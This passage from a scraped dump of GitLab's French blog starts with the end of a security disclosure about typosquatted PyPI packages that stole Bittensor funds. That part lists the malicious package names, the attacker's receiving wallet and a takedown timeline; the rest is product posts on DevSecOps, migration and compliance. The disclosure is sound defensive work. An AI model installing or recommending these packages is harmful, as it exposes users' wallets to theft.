attaque démontrent la valeur des mesures de sécurité proactives dans la lutte contre les menaces sophistiquées. En partageant nos découvertes, nous visons à renforcer la résilience de l'écosystème entier en cas de futures attaques.\n\n\n## Indicateurs de compromission\n\n\n| IOC | Description |\n| :---- | :---- |\n| `pkg:pypi/bittenso@9.9.5` | Paquet PyPI malveillant |\n| `pkg:pypi/bitensor@9.9.5` | Paquet PyPI malveillant |\n| `pkg:pypi/bitensor@9.9.4` | Paquet PyPI malveillant |\n| `pkg:pypi/qbittensor@9.9.4` | Paquet PyPI malveillant |\n| `pkg:pypi/bittenso-cli@9.9.4` | Paquet PyPI malveillant |\n| `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` | Adresse de portefeuille Bittensor (TAO) pour recevoir les fonds volés |\n\n## Chronologie\n\n| Date et heure | Action |\n| :---- | :---- |\n| **2025-08-06T06:33** | Analyse initiale des paquets suspects signalés par le système de surveillance automatisé |\n| **2025-08-06T09:42** | Signalement de `bittenso@9.9.5` à PyPi.org |\n| **2025-08-06T09:46** | Signalement de `bitensor@9.9.5` à PyPi.org |\n| **2025-08-06T09:47** | Signalement de `bitensor@9.9.4` à PyPi.org |\n| **2025-08-06T09:49** | Signalement de `qbittensor@9.9.4` à PyPi.org |\n| **2025-08-06T09:51** | Signalement de `bittenso-cli@9.9.4` à PyPi.org |\n| **2025-08-06T15:26** | PyPi.org a supprimé `bittenso@9.9.5` |\n| **2025-08-06T15:27** | PyPi.org a supprimé `bitensor@9.9.5` |\n| **2025-08-06T15:27** | PyPi.org a supprimé `bitensor@9.9.4`  |\n| **2025-08-06T15:28** | PyPi.org a supprimé `qbittensor@9.9.4` |\n| **2025-08-06T15:28** | PyPi.org a supprimé `bittenso-cli@9.9.4` |\n",[741],"Michael Henriksen","2025-08-11",[673],"L'équipe de recherche dédiée aux vulnérabilités de GitLab a identifié une série d'attaques de typosquatting avec des paquets PyPI qui avaient pour objectif de voler de la cryptomonnaie dans des portefeuilles Bittensor en détournant des opérations de staking.",{"featured":6,"template":683,"slug":746},"gitlab-uncovers-bittensor-theft-campaign-via-pypi","content:fr-fr:blog:gitlab-uncovers-bittensor-theft-campaign-via-pypi.yml","Gitlab Uncovers Bittensor Theft Campaign Via Pypi","fr-fr/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi.yml","fr-fr/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi",{"_path":752,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":753,"content":756,"config":765,"_id":767,"_type":16,"title":768,"_source":17,"_file":769,"_stem":770,"_extension":20},"/fr-fr/blog/why-now-is-the-time-for-embedded-devsecops",{"noIndex":6,"title":754,"description":755},"Approche DevSecOps et développement de systèmes embarqués","Surmontez la lenteur des boucles de rétroaction, la lourdeur des processus de conformité et l'isolement des équipes en adoptant une plateforme DevSecOps.",{"heroImage":757,"body":758,"authors":759,"updatedDate":761,"date":761,"title":762,"tags":763,"description":755,"category":764},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659978/Blog/Hero%20Images/automation.png","Longtemps perçue comme réservée aux applications SaaS, l'approche [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\") s'impose désormais dans le développement de systèmes embarqués. Cette approche est portée par l'évolution du rôle des logiciels, qui sont devenus un facteur de différenciation majeur. Face aux nouvelles attentes du marché, les pratiques de développement modernes sont désormais incontournables. En réponse, les entreprises adoptent l'approche DevSecOps dans le développement de systèmes embarqués.\n\nCette approche consiste à appliquer des pratiques d'ingénierie collaborative, des chaînes d'outils intégrées et une automatisation des processus de compilation, de test et de sécurisation des logiciels au développement de systèmes embarqués. Elle introduit également les ajustements nécessaires pour tenir compte des spécificités matérielles.\n\n## Convergence des forces du marché\n\nLes équipes en charge des systèmes embarqués doivent désormais faire face à une convergence de trois grandes forces du marché qui rendent la modernisation de leurs pratiques inévitable.\n\n### 1. L'essor des produits définis par logiciel\n\nLes produits autrefois définis principalement par leur composant matériel se différencient désormais par leurs capacités logicielles. Cette évolution est particulièrement visible sur le marché des véhicules définis par logiciel (SDV), dont la valeur devrait passer de 213,5 milliards de dollars en 2024 à [1,24 billions de dollars](https://www.marketsandmarkets.com/Market-Reports/software-defined-vehicles-market-187205966.html) d'ici 2030, soit un taux de croissance annuel moyen de 34 %.\nLa part du contenu logiciel embarqué de ces véhicules explose. D'ici fin 2025, chaque véhicule contiendra en moyenne [650 millions de lignes de code](https://www.statista.com/statistics/1370978/automotive-software-average-lines-of-codes-per-vehicle-globally/). Les approches traditionnelles du développement de systèmes embarqués ne parviennent pas à gérer ce niveau de complexité logicielle. \n\n### 2. La virtualisation matérielle comme catalyseur technique\n\nLa virtualisation matérielle joue un rôle technique central dans l'approche DevSecOps pour le développement de systèmes embarqués. Les unités de commande électronique virtuelles (vECU), les processeurs ARM hébergés sur le cloud et les environnements de simulation sophistiqués sont de plus en plus répandus. Le matériel virtuel permet d'effectuer des tests qui nécessitaient autrefois du matériel physique.\n\nCes technologies de virtualisation posent les bases de l'[intégration continue (CI)](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que l'intégration continue ?\"). Toutefois, ce n'est que lorsqu'elles sont intégrées dans des workflows automatisés que leur utilisation fait sens. Combinés à des pratiques de développement collaboratif et à des [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\") automatisés, les tests virtuels aident les équipes à détecter les problèmes beaucoup plus tôt, lorsque l'application de correctifs est bien moins onéreuse. Sans approche DevSecOps pour le développement de systèmes embarqués et sans outils pour orchestrer ces ressources virtuelles, les entreprises ne peuvent pas tirer profit de la virtualisation.\n\n### 3. La pression concurrentielle et économique\n\nTrois dynamiques corrélées modifient le paysage concurrentiel du développement de systèmes embarqués :\n\n* Les nouvelles générations d'ingénieurs ont des attentes bien précises. Comme l'explique un responsable du développement de systèmes embarqués chez un client de GitLab : « Les jeunes diplômés développant des systèmes embarqués ne connaissent pas les outils hérités comme Perforce. Ils ont été formés sur [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ?\"). S'ils doivent utiliser des outils dépassés, ils démissionnent au bout de six mois. » Les entreprises qui persistent à utiliser des outils obsolètes risquent de perdre leur capacité à attirer les meilleurs ingénieurs.\n* À l'inverse, les entreprises à la pointe de la technologie qui attirent les ingénieurs les plus talentueux avec des pratiques modernes ont un avantage majeur sur leurs concurrents et obtiennent des résultats remarquables. Par exemple, en 2024, [SpaceX](https://spacenews.com/spacex-launch-surge-helps-set-new-global-launch-record-in-2024/) a réalisé le plus grand nombre de lancements orbitaux dans le monde. Les entreprises qui utilisent les dernières technologies excellent dans le développement logiciel et adoptent une culture de développement moderne. Elles obtiennent notamment des résultats que les entreprises qui continuent de faire appel à des outils traditionnels ont du mal à égaler. \n* Les longs cycles de rétroaction alourdissent considérablement les coûts du développement embarqué et rendent l'adoption d'une approche DevSecOps plus urgente que jamais. Lorsque les équipes de développement doivent patienter plusieurs semaines pour tester leur code sur des bancs d'essai matériels, la productivité chute intrinsèquement : les ingénieurs perdent le fil et doivent changer de contexte lorsque les résultats des tests leur parviennent. Ce phénomène s'aggrave encore lorsque des bogues sont découverts tardivement, et les correctifs deviennent plus coûteux à implémenter. Dans les systèmes embarqués, ces délais sont structurels.\n\nSeule une approche DevSecOps permet de répondre efficacement à ces problématiques.\n\n## Axes de transformation prioritaires\n\nPortées par ces dynamiques de marché, les entreprises avant-gardistes dans le domaine des systèmes embarqués adoptent une approche DevSecOps pour transformer en profondeur leurs pratiques. \n\n### Mise en place de tests continus\n\nLes goulots d'étranglement matériels représentent l'une des contraintes les plus importantes du développement traditionnel de systèmes embarqués. Ces retards créent des conditions économiques défavorables dues à l'accès tardif au matériel et à l'augmentation des coûts qui en résultent.\nPour résoudre ce problème, il est nécessaire d'adopter une approche multidimensionnelle : \n\n* Automatiser l'orchestration des bancs de test matériel partagés, souvent coûteux, entre les développeurs  \n* Intégrer les tests SIL (Software-in-the-Loop) et HIL (Hardware-in-the-Loop) dans des pipelines CI automatisés  \n* Standardiser les environnements de compilation avec un [contrôle de version](https://about.gitlab.com/fr-fr/topics/version-control/ \"Qu'est-ce que le contrôle de version ?\") rigoureux\n\nAvec le composant [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que l'approche CI/CD ?\") [On-Premises Device Cloud](https://gitlab.com/gitlab-accelerates-embedded/comp/device-cloud) de GitLab, les équipes de développement de systèmes embarqués peuvent automatiser l'orchestration des tests de micrologiciels sur du matériel virtuel et réel. Elles réduisent ainsi plus facilement les cycles de rétroaction de plusieurs semaines à quelques heures et détectent les bogues dès le début du cycle du développement logiciel.\n\n### Automatisation de la conformité et de la sécurité\n\nLes systèmes embarqués évoluent dans un environnement fortement réglementé, où les processus de conformité manuels ne sont plus viables.\nLes entreprises à la pointe automatisent la gouvernance de leurs processus de sécurité et de conformité en adoptant plusieurs pratiques clés : \n\n* Elles remplacent les workflows manuels par des [frameworks de conformité](https://about.gitlab.com/fr-fr/blog/introducing-custom-compliance-frameworks-in-gitlab/ \"Qu'est-ce qu'un framework de conformité ?\") automatisés.  \n* Elles intègrent des outils spécialisés de sécurité fonctionnelle, de cybersécurité et de qualité du code dans des pipelines CI automatisés.  \n* Elles automatisent les workflows d'approbation, en appliquant systématiquement des revues de code et en maintenant des pistes d'audit complètes.  \n* Elles configurent des frameworks de conformité alignés sur des normes sectorielles, telles que ISO 26262 ou DO-178C.\n\nCette approche permet une plus grande maturité en matière de conformité sans effectifs supplémentaires. Ce qui constituait autrefois un fardeau devient un avantage concurrentiel. Un grand constructeur de véhicules électriques exécute ainsi 120 000 jobs CI/CD par jour avec GitLab, dont une part importante inclut des contrôles de conformité. Grâce à cette automatisation, l'entreprise peut corriger les bogues et déployer des corrections sur ses véhicules dans l'heure qui suit leur découverte. Un tel niveau d'évolutivité et de réactivité serait extrêmement difficile à atteindre sans l'automatisation des workflows de conformité.\n\n### Innovation collaborative\n\nHistoriquement, pour des raisons commerciales et techniques légitimes, les équipes chargées du développement de systèmes embarqués travaillaient souvent seules à leur bureau. Les possibilités de collaboration étaient ainsi limitées. Pour remédier à cette situation, les entreprises innovantes fournissent une visibilité partagée du code grâce à un contrôle de version intégré et à des workflows CI/CD. Ces pratiques modernes attirent et fidélisent les ingénieurs tout en favorisant l'innovation.\nComme le souligne le directeur [DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"Qu'est-ce que l'approche DevOps ?\") d'un grand constructeur automobile à la pointe de la technologie (client de GitLab) : « Il est vraiment essentiel pour nous de travailler sur une seule plateforme où il est facile de vérifier le statut de nos workflows. Lorsque les développeurs soumettent une merge request, ils ont immédiatement une visibilité sur le statut du workflow concerné afin de pouvoir agir le plus rapidement possible. » Cette transparence accélère l'innovation. Elle permet aux constructeurs automobiles d'itérer rapidement sur les fonctionnalités logicielles qui différencient leurs véhicules sur un marché de plus en plus concurrentiel.\n\n## Une fenêtre d'opportunité\n\nLes leaders du développement de systèmes embarqués disposent aujourd'hui d'une fenêtre d'opportunité unique pour prendre une longueur d'avance en adoptant l'approche DevSecOps. Mais ils doivent agir rapidement, car à mesure que les logiciels deviennent le principal levier de différenciation des produits embarqués, l'écart entre les pionniers et les retardataires ne cessera de se creuser.\nLes entreprises qui réussiront cette transition réduiront leurs coûts, accéléreront leurs délais de mise sur le marché et développeront des logiciels plus innovants qui leur permettront de se différencier. Les leaders du secteur de demain seront ceux qui, dès aujourd'hui, font le choix de l'approche DevSecOps.\n\n> Bien que cet article mette en lumière les raisons pour lesquelles il est désormais essentiel pour les équipes de développement de systèmes embarqués d'adopter l'approche DevSecOps, vous vous demandez peut-être par où commencer. Pour passer à l'action, découvrez comment mettre ces concepts en pratique dans notre guide : [Accélérez le développement de systèmes embarqués avec GitLab](https://about.gitlab.com/blog/4-ways-to-accelerate-embedded-development-with-gitlab/).",[760],"Matt DeLaney","2025-08-06","DevSecOps et systèmes embarqués : pourquoi adopter cette approche ?",[110],"devsecops",{"featured":6,"template":683,"slug":766},"why-now-is-the-time-for-embedded-devsecops","content:fr-fr:blog:why-now-is-the-time-for-embedded-devsecops.yml","Why Now Is The Time For Embedded Devsecops","fr-fr/blog/why-now-is-the-time-for-embedded-devsecops.yml","fr-fr/blog/why-now-is-the-time-for-embedded-devsecops",{"_path":772,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":773,"content":777,"config":785,"_id":787,"_type":16,"title":788,"_source":17,"_file":789,"_stem":790,"_extension":20},"/fr-fr/blog/migrating-by-direct-transfer-is-generally-available",{"config":774,"title":775,"description":776},{"noIndex":6},"La migration par transfert direct est désormais disponible","Découvrez comment migrer efficacement vos groupes et projets GitLab entre instances GitLab grâce à la migration par transfert direct, performante et sécurisée.",{"title":775,"description":776,"authors":778,"heroImage":780,"date":781,"body":782,"category":676,"tags":783},[779],"Magdalena Frankiewicz","https://res.cloudinary.com/about-gitlab-com/image/upload/v1753898687/nlxenzmbdk62dlylt3ey.png","2025-08-04","La migration des groupes et projets GitLab par transfert direct est désormais disponible dans la version GitLab 18.3. Cette fonctionnalité apporte une méthode simple et automatisée pour migrer des ressources GitLab entre instances GitLab à un public encore plus large.\n\nLe [transfert direct](https://docs.gitlab.com/user/group/import/) vous permet de créer facilement une copie des ressources GitLab de votre choix sur la même instance ou sur une autre instance GitLab. Vous pouvez utiliser l'interface utilisateur ou l'API. L'interface utilisateur est intuitive et simple d'utilisation, tandis que [l'API](https://docs.gitlab.com/ee/api/bulk_imports.html) vous offre une flexibilité supplémentaire pour choisir les ressources à copier.\n\nLa migration par transfert direct représente une amélioration majeure par rapport à la [migration de groupes et de projets via l'exportation de fichiers](https://docs.gitlab.com/ee/user/project/settings/import_export.html#migrate-projects-by-uploading-an-export-file) pour les raisons suivantes :\n\n* Vous n'avez plus besoin d'exporter manuellement chaque groupe et projet individuel vers un fichier, puis d'importer tous ces fichiers vers un nouvel emplacement. Désormais, vous pouvez directement migrer tout groupe de niveau supérieur dont vous avez le rôle de propriétaire avec tous ses sous-groupes et projets.\n* Elle permet le [mappage des contributions utilisateur après l'importation](https://about.gitlab.com/blog/streamline-migrations-with-user-contribution-and-membership-mapping/) (comme la paternité des tickets ou des commentaires), ce qui vous offre plus de flexibilité et de contrôle.\n* Elle fonctionne de manière fiable avec des projets volumineux. Grâce au traitement par lots des ressources et à l'exécution simultanée des processus d'importation et d'exportation, les risques d'interruption ou de délai d'attente dépassé sont considérablement réduits.\n* Elle offre une meilleure visibilité sur la migration pendant son exécution ainsi qu'après sa finalisation. Dans l'interface utilisateur, vous pouvez observer l'augmentation des nombres à mesure que de nouveaux éléments sont importés. Ensuite, vous pouvez [examiner les résultats de l'importation](https://docs.gitlab.com/user/group/import/direct_transfer_migrations/#review-results-of-the-import). Vous pouvez voir qu'un élément a été importé grâce au badge `Imported` sur les éléments dans l'interface utilisateur GitLab.\n\nNous avons parcouru un long chemin depuis GitLab 14.3, lorsque nous avons commencé à prendre en charge la migration directe des ressources de groupe. Dans GitLab 15.8, nous avons [étendu cette fonctionnalité aux projets en version bêta](https://about.gitlab.com/blog/2023/01/18/try-out-new-way-to-migrate-projects/). Depuis, nous avons travaillé à améliorer l'efficacité et la fiabilité de l'importation, en particulier pour les projets volumineux. Nous avons minutieusement examiné la fonctionnalité du point de vue de la sécurité et de la stabilité des instances.\n\nPour vous donner un exemple de la taille des groupes et des projets que nous avons testés, ainsi que de leur durée d'importation, nous avons constaté des importations réussies de :\n\n* 100 projets (19 900 tickets, 83 000 merge requests, plus de 100 000 pipelines) migrés en 8 heures\n* 1 926 projets (22 000 tickets, 160 000 merge requests, 1,1 million de pipelines) migrés en 34 heures\n\nSur GitLab.com, la migration par transfert direct est activée par défaut, tandis que sur GitLab Self-Managed et sur GitLab Dedicated, un administrateur doit [activer la fonctionnalité dans les paramètres de l'application](https://docs.gitlab.com/ee/administration/settings/import_and_export_settings.html#enable-migration-of-groups-and-projects-by-direct-transfer).\n\n## Quand utiliser la migration par transfert direct et comment obtenir les meilleurs résultats ?\n\nLa migration par transfert direct nécessite une connexion réseau entre les instances ou GitLab.com. Par conséquent, les clients qui utilisent des réseaux air-gapped sans connectivité entre leurs instances GitLab doivent toujours utiliser l'exportation de fichiers pour copier leurs données GitLab. Ils pourront utiliser la migration de groupes et de projets par transfert direct lorsque nous étendrons cette solution pour [prendre en charge les instances hors ligne](https://gitlab.com/groups/gitlab-org/-/epics/8985).\n\nAvant de tenter une migration, consultez notre [documentation](https://docs.gitlab.com/user/group/import/), y compris les [prérequis](https://docs.gitlab.com/user/group/import/direct_transfer_migrations/#prerequisites), les [éléments de groupe](https://docs.gitlab.com/ee/user/group/import/#migrated-group-items) et les [éléments de projet](https://docs.gitlab.com/ee/user/group/import/#migrated-project-items) qui sont migrés. Certains éléments sont exclus de la migration ou ne sont pas encore pris en charge.\n\n### Migrez entre les versions les plus récentes possibles\n\nNous recommandons de migrer entre des versions aussi récentes que possible. Mettez à jour les instances source et destination pour profiter de toutes les améliorations et corrections de bogues que nous avons ajoutées au fil du temps.\n\n### Préparez-vous au mappage des contributions utilisateur après la migration\n\nFamiliarisez-vous avec le [processus de mappage des contributions et des appartenances utilisateur](https://docs.gitlab.com/user/project/import/#user-contribution-and-membership-mapping) afin de savoir à quoi vous attendre une fois la migration terminée et quelles sont les prochaines étapes à suivre.\n\n### Examinez les options pour réduire la durée de migration\n\nSelon l'endroit où vous migrez (GitLab.com, une instance auto-gérée ou Dedicated) vous pouvez utiliser [diverses stratégies pour réduire la durée de migration](https://docs.gitlab.com/ee/user/group/import/#reducing-migration-duration).\n\n## Comment puis-je examiner les résultats ?\n\nVous pouvez consulter tous les groupes et projets que vous avez migrés par transfert direct sur la [page d'historique d'importation de groupe](https://docs.gitlab.com/user/group/import/direct_transfer_migrations/#group-import-history). Pour chaque groupe et projet, vous pouvez consulter les statistiques des éléments importés et examiner plus en détails si certains éléments n'ont pas été importés. Vous pouvez également utiliser les [points de terminaison API](https://docs.gitlab.com/ee/api/bulk_imports.html#list-all-group-or-project-migrations-entities) pour faire de même.\n\nDans les cas où la plupart de vos projets se sont terminés avec succès mais qu'un ou deux finissent par manquer certaines relations, comme des merge requests ou des tickets, nous vous recommandons d'essayer de réimporter ces projets [en utilisant l'API](https://docs.gitlab.com/ee/api/bulk_imports.html#start-a-new-group-or-project-migration).\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753961409/ja8agmwarwxxlo9vmqbo.gif)\n\n## Quelle est la prochaine étape pour la migration par transfert direct ?\n\nNous sommes ravis de rendre la migration par transfert direct disponible et nous espérons que vous l'êtes aussi ! Nous souhaitons connaître votre avis. Quel est l'élément qui vous manque le plus ? Que pouvons-nous améliorer ? Faites-le nous savoir dans [ce ticket](https://gitlab.com/gitlab-org/gitlab/-/issues/284495) et nous continuerons à itérer !",[784,676,675],"DevSecOps",{"featured":92,"template":683,"slug":786},"migrating-by-direct-transfer-is-generally-available","content:fr-fr:blog:migrating-by-direct-transfer-is-generally-available.yml","Migrating By Direct Transfer Is Generally Available","fr-fr/blog/migrating-by-direct-transfer-is-generally-available.yml","fr-fr/blog/migrating-by-direct-transfer-is-generally-available",{"_path":792,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":793,"content":797,"config":805,"_id":807,"_type":16,"title":808,"_source":17,"_file":809,"_stem":810,"_extension":20},"/fr-fr/blog/introducing-custom-compliance-frameworks-in-gitlab",{"config":794,"title":795,"description":796},{"noIndex":6},"Les frameworks de conformité personnalisés de GitLab","Réduisez le suivi manuel, accélérez la préparation aux audits et appliquez les contrôles plus rapidement, directement depuis les workflows DevSecOps de GitLab.",{"heroImage":798,"body":799,"authors":800,"updatedDate":802,"date":802,"title":803,"tags":804,"description":796,"category":673},"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1750099268/Blog/Hero%20Images/Blog/Hero%20Images/GitLab_Blog_Header_v4_YBzFAgt2EAkqQfqxNFEgj_1750099267940.svg","Maintenir plusieurs frameworks de conformité dans des pipelines DevSecOps en constante évolution n’a jamais été aussi difficile. À mesure que les normes évoluent et deviennent plus complexes, les entreprises croulent sous des exigences qui se chevauchent et des processus manuels, impactant ainsi le temps des développeurs et ralentissant les audits.\n\nPour résoudre ce problème, GitLab lance les frameworks de conformité personnalisés et 50 contrôles préconfigurés pour une large gamme de normes de conformité, notamment [ISO 27001](https://about.gitlab.com/fr-fr/blog/how-gitlab-can-support-your-iso-compliance-journey/ \"ISO 27001\"), le [benchmark CIS](https://about.gitlab.com/blog/new-cis-gitlab-benchmark-scanner-boosts-security-and-compliance/) et [SOC 2](https://about.gitlab.com/fr-fr/the-source/security/how-gitlab-can-help-you-prepare-for-your-soc-2-exam/ \"SOC 2\").\n\nLes frameworks de conformité personnalisés permettent aux entreprises de mapper plusieurs contrôles qui se chevauchent, issus de différentes normes et réglementations, en un framework unique et unifié. Cette flexibilité apporte une efficacité indispensable, permettant aux entreprises d'adapter leurs programmes de conformité en fonction de leurs besoins. Comme ces politiques sont intégrées directement dans les [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\") de GitLab, la conformité est appliquée automatiquement, sans perturber le développement.\n\nDe plus, avec les contrôles préconfigurés, les équipes peuvent accélérer l'adoption de la conformité, éliminant le besoin d'outils externes ou de configurations personnalisées complexes. En intégrant la conformité directement dans le cycle de développement logiciel, GitLab offre une visibilité en temps réel, une application automatisée et une préparation aux audits simplifiée pour que les équipes puissent livrer des logiciels sécurisés et conformes, plus rapidement.\n\nLes frameworks de conformité personnalisés et les contrôles préconfigurés sont disponibles dès maintenant dans [GitLab Ultimate](https://about.gitlab.com/fr-fr/pricing/ultimate/ \"GitLab Ultimate\").\n\n## Une pression croissante en matière de conformité\n\nLes entreprises doivent naviguer entre différents frameworks de conformité pour garantir le respect de nombreuses réglementations et fournir une assurance à leurs clients. Bien que ces frameworks partagent souvent des contrôles communs, ces derniers sont rarement alignés. Le résultat est une réalité que les équipes de conformité ne connaissent que trop bien : un suivi manuel via des feuilles de calcul qui génère le chaos, en particulier lors des examens d'audit.\n\nLes équipes de développement sont entraînées dans le tourbillon de la conformité car le développement de logiciels modernes est au cœur de la satisfaction de bon nombre de ces contrôles. Au lieu de créer et de livrer des logiciels sécurisés, ils se retrouvent à soutenir la collecte de preuves et les revues de conformité. Une étude « Total Economic Impact™ » sur GitLab Ultimate et menée par Forrester a révélé qu'avant GitLab, [les équipes de développement consacraient jusqu'à 80 heures par an de leur temps sur des tâches d'audit et de conformité](https://tei.forrester.com/go/GitLab/GitLabUltimate/?lang=en-us#Appendixes), du temps détourné de l'écriture de code et de la création de valeur commerciale.\n\nEn plus d'être inefficace, cette approche fragmentée est également coûteuse. Les [coûts liés à la conformité ont augmenté de 60 % au cours des cinq dernières années](https://www.cato.org/sites/cato.org/files/2024-01/research-brief367.pdf), selon le CATO Institute. Sans un système qui connecte l'application de la conformité à l'endroit où les logiciels sont créés, la conformité restera une réflexion après coup contraignante qui creuse un fossé entre les équipes de développement et de sécurité. \n\n## Pourquoi les frameworks de conformité personnalisés sont-ils importants ?\n\nNos clients nous ont demandé une plus grande flexibilité en matière de suivi et d’application de la conformité dans les workflows DevSecOps. Avec cette version, nous sommes heureux de donner à nos clients les moyens suivants :\n\n### Une conformité qui s'adapte à l'entreprise, et non l'inverse\n\nLes exigences réglementaires se chevauchent entre plusieurs frameworks, ce qui entraîne une complexité dans le suivi et l'application. Les frameworks de conformité personnalisés permettent aux entreprises de créer un framework unifié qui associe les exigences et les contrôles de plusieurs normes, réduisant l'effort manuel et la dépendance à des consultants souvent coûteux.\n\n### Une conformité plus rapide, de la configuration jusqu'aux audits\n\nCommencez à surveiller la conformité instantanément avec des contrôles préconfigurés alignés sur les normes de conformité clés, telles que SOC 2, ISO 27001 et les benchmarks CIS. La surveillance automatisée de la conformité et la collecte de preuves réduisent la préparation des audits de plusieurs semaines à quelques jours, permettant aux équipes de développement de rester concentrées sur la livraison de logiciels sécurisés.\n\n### Une conformité intégrée à la vitesse du développement\n\nContrairement aux outils GRC traditionnels qui fonctionnent de manière isolée, GitLab applique la conformité directement dans les pipelines CI/CD. Cette intégration signifie que la validation de la conformité se produit automatiquement lorsque le code progresse dans le pipeline, éliminant la friction traditionnelle entre la rapidité de développement et les exigences de sécurité.\n\nVoici un exemple de création d’un framework de conformité personnalisé dans GitLab :\n\n![custom compliance frameworks - edit requirement screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099291/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750099291312.png)\n\n![custom compliance frameworks - screen showing requirements](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099291/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099291312.png)\n\n## Ce qu'il faut savoir sur le déploiement des frameworks de conformité personnalisés\n\nCette version comporte deux aspects critiques : \n\n* À partir de GitLab 18.0, les frameworks de conformité personnalisés seront activés par défaut. \n* Depuis GitLab 18.0, nous avons activé les frameworks de conformité personnalisés par défaut. Nous avons également supprimé les « Normes » du Centre de conformité pour simplifier l'expérience. Mais ne vous inquiétez pas, vos contrôles de conformité existants s'appliquent toujours. Nous avons converti les normes GitLab Standard et SOC 2 en labels de framework de conformité et transformé leurs vérifications de conformité en contrôles (notre nouveau terme à l'avenir). \n* Seuls les clients GitLab Ultimate peuvent définir des exigences, mapper des contrôles et appliquer des frameworks de conformité. Les utilisateurs de GitLab Premium peuvent toujours utiliser des labels de conformité, mais ils n'auront pas accès à l'ensemble des fonctionnalités. \n\nPour en savoir plus sur les frameworks de conformité personnalisés, découvrez cette vidéo d'introduction :\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n      \u003Ciframe src=\"https://www.youtube.com/embed/yfJ0oHCIn-8?si=z_Rt_ikry4RhjEAC\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n    \u003C/figure>\n\n\u003C!-- blank line -->\n\n## Déplacez la conformité en amont avec GitLab\n\nSimilaire à la sécurité, déplacer la conformité en amont signifie aborder les exigences de conformité plus tôt dans le cycle de vie du développement logiciel. Étant donné que les logiciels sont essentiels à la conformité d'une entreprise, l'intégration de contrôles là où les logiciels sont créés est cruciale. Avec GitLab, les équipes de sécurité et de conformité peuvent définir des frameworks, mapper des contrôles et automatiser l'application directement dans les pipelines CI/CD. Les équipes de développement restent concentrées sur la livraison de fonctionnalités, tandis que les équipes de conformité bénéficient d'une visibilité en temps réel et d'une collecte automatisée de preuves pour être prêtes pour l'audit. Cette approche unifiée comble le fossé entre le développement et la conformité, aidant les entreprises à atteindre une conformité continue dans le cadre de leur pratique DevSecOps.\n\nEn conséquence, les entreprises utilisant GitLab peuvent réduire de 90 % le temps passé par les équipes de développement sur les tâches d'audit et de conformité, et accélérer les audits externes de plusieurs semaines à moins d'une semaine, selon Forrester.\n\nSi vous êtes déjà un client GitLab Ultimate et que vous souhaitez en savoir plus sur la façon dont les frameworks de conformité personnalisés peuvent contribuer à améliorer votre programme de conformité et de sécurité, consultez notre documentation du [Centre de conformité](https://docs.gitlab.com/user/compliance/compliance_center/) où nous couvrons les exigences de mise en œuvre, les cas d'utilisation et plus encore.\n\nNote : « Total Economic Impact™ » sur GitLab Ultimate est une étude réalisée par Forrester Consulting en 2024 pour le compte de GitLab. Les résultats sont basés sur une organisation composite représentative des clients interrogés.",[801,680],"Ian Khor","2025-07-31","Présentation des frameworks de conformité personnalisés dans GitLab",[673,676,675],{"featured":6,"template":683,"slug":806},"introducing-custom-compliance-frameworks-in-gitlab","content:fr-fr:blog:introducing-custom-compliance-frameworks-in-gitlab.yml","Introducing Custom Compliance Frameworks In Gitlab","fr-fr/blog/introducing-custom-compliance-frameworks-in-gitlab.yml","fr-fr/blog/introducing-custom-compliance-frameworks-in-gitlab",{"_path":812,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":813,"content":818,"config":828,"_id":830,"_type":16,"title":831,"_source":17,"_file":832,"_stem":833,"_extension":20},"/fr-fr/blog/inside-gitlabs-healthy-backlog-initiative",{"config":814,"title":815,"description":816,"ogImage":817},{"noIndex":6},"Amélioration de la gestion des tickets de la communauté","Nous avons amélioré la gestion des tickets pour prioriser le travail stratégique, optimiser la livraison et créer des boucles de rétroaction plus efficaces avec nos utilisateurs. ","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1749664458/Blog/Hero%20Images/Gartner_AI_Code_Assistants_Blog_Post_Cover_Image_1800x945.png",{"title":819,"description":820,"date":821,"body":822,"heroImage":817,"authors":823,"category":825,"tags":826},"Amélioration de la gestion des tickets créés par la communauté GitLab","Découvrez comment nous améliorons la gestion des tickets pour prioriser le travail stratégique, optimiser la livraison de logiciels et créer des boucles de rétroaction plus efficaces avec nos utilisateurs.","2025-07-30","Chez GitLab, nous sommes fiers de la relation solide et collaborative que nous entretenons avec notre communauté. Nous encourageons chacun à contribuer à GitLab. Au fil des années, ces contributions communautaires ont permis de renforcer notre plateforme. Mais au fur et à mesure de notre croissance, la participation de la communauté via les tickets GitLab a également augmenté, créant un backlog de tickets difficile à gérer.\n\nLes équipes chargées du produit et de l'ingénierie de GitLab ont récemment lancé [une initiative pour traiter ce backlog et affiner notre approche de la gestion des tickets](https://gitlab.com/groups/gitlab-org/-/epics/18639). \n\nLes tickets avec un engagement communautaire continu, une activité récente ou un alignement stratégique clair resteront ouverts. Nous fermerons les tickets qui ne sont plus pertinents, qui manquent d'intérêt ou qui ne correspondent plus à notre direction 